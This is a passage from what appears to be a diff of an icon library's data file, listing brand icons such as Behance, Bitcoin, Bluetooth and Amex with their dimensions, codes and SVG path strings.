"M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z" ], + "battle-net": [ 512, 512, [], "f835", "M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8" ], + behance: [ 576, 512, [], "f1b4", "M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z" ], + "behance-square": [ 448, 512, [], "f1b5", "M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z" ], + bimobject: [ 448, 512, [], "f378", "M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z" ], + bitbucket: [ 512, 512, [], "f171", "M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z" ], + bitcoin: [ 512, 512, [], "f379", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z" ], + bity: [ 496, 512, [], "f37a", "M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z" ], + "black-tie": [ 448, 512, [], "f27e", "M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z" ], + blackberry: [ 512, 512, [], "f37b", "M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z" ], + blogger: [ 448, 512, [], "f37c", "M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z" ], + "blogger-b": [ 448, 512, [], "f37d", "M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z" ], + bluetooth: [ 448, 512, [], "f293", "M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z" ], + "bluetooth-b": [ 320, 512, [], "f294", "M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z" ], + bootstrap: [ 576, 512, [], "f836", "M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z" ], + btc: [ 384, 512, [], "f15a", "M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z" ], + buffer: [ 448, 512, [], "f837", "M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z" ], + buromobelexperte: [ 448, 512, [], "f37f", "M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z" ], + "buy-n-large": [ 576, 512, [], "f8a6", "M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z" ], + buysellads: [ 448, 512, [], "f20d", "M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z" ], + "canadian-maple-leaf": [ 512, 512, [], "f785", "M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z" ], + "cc-amazon-pay": [ 576, 512, [], "f42d", "M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z" ], + "cc-amex": [ 576, 512, [], "f1f3", "M325.1 167.8c0-16.4-14.1-18.4-27.4-18.4l-39.1-.3v69.3H275v-25.1h18c18.4 0 14.5 10.3 14.8 25.1h16.6v-13.5c0-9.2-1.5-15.1-11-18.4 7.4-3 11.8-10.7 11.7-18.7zm-29.4 11.3H275v-15.3h21c5.1 0 10.7 1 10.7 7.4 0 6.6-5.3 7.9-11 7.9zM279 268.6h-52.7l-21 22.8-20.5-22.8h-66.5l-.1 69.3h65.4l21.3-23 20.4 23h32.2l.1-23.3c18.9 0 49.3 4.6 49.3-23.3 0-17.3-12.3-22.7-27.9-22.7zm-103.8 54.7h-40.6v-13.8h36.3v-14.1h-36.3v-12.5h41.7l17.9 20.2zm65.8 8.2l-25.3-28.1L241 276zm37.8-31h-21.2v-17.6h21.5c5.6 0 10.2 2.3 10.2 8.4 0 6.4-4.6 9.2-10.5 9.2zm-31.6-136.7v-14.6h-55.5v69.3h55.5v-14.3h-38.9v-13.8h37.8v-14.1h-37.8v-12.5zM576 255.4h-.2zm-194.6 31.9c0-16.4-14.1-18.7-27.1-18.7h-39.4l-.1 69.3h16.6l.1-25.3h17.6c11 0 14.8 2 14.8 13.8l-.1 11.5h16.6l.1-13.8c0-8.9-1.8-15.1-11-18.4 7.7-3.1 11.8-10.8 11.9-18.4zm-29.2 11.2h-20.7v-15.6h21c5.1 0 10.7 1 10.7 7.4 0 6.9-5.4 8.2-11 8.2zm-172.8-80v-69.3h-27.6l-19.7 47-21.7-47H83.3v65.7l-28.1-65.7H30.7L1 218.5h17.9l6.4-15.3h34.5l6.4 15.3H100v-54.2l24 54.2h14.6l24-54.2v54.2zM31.2 188.8l11.2-27.6 11.5 27.6zm477.4 158.9v-4.5c-10.8 5.6-3.9 4.5-156.7 4.5 0-25.2.1-23.9 0-25.2-1.7-.1-3.2-.1-9.4-.1 0 17.9-.1 6.8-.1 25.3h-39.6c0-12.1.1-15.3.1-29.2-10 6-22.8 6.4-34.3 6.2 0 14.7-.1 8.3-.1 23h-48.9c-5.1-5.7-2.7-3.1-15.4-17.4-3.2 3.5-12.8 13.9-16.1 17.4h-82v-92.3h83.1c5 5.6 2.8 3.1 15.5 17.2 3.2-3.5 12.2-13.4 15.7-17.2h58c9.8 0 18 1.9 24.3 5.6v-5.6c54.3 0 64.3-1.4 75.7 5.1v-5.1h78.2v5.2c11.4-6.9 19.6-5.2 64.9-5.2v5c10.3-5.9 16.6-5.2 54.3-5V80c0-26.5-21.5-48-48-48h-480c-26.5 0-48 21.5-48 48v109.8c9.4-21.9 19.7-46 23.1-53.9h39.7c4.3 10.1 1.6 3.7 9 21.1v-21.1h46c2.9 6.2 11.1 24 13.9 30 5.8-13.6 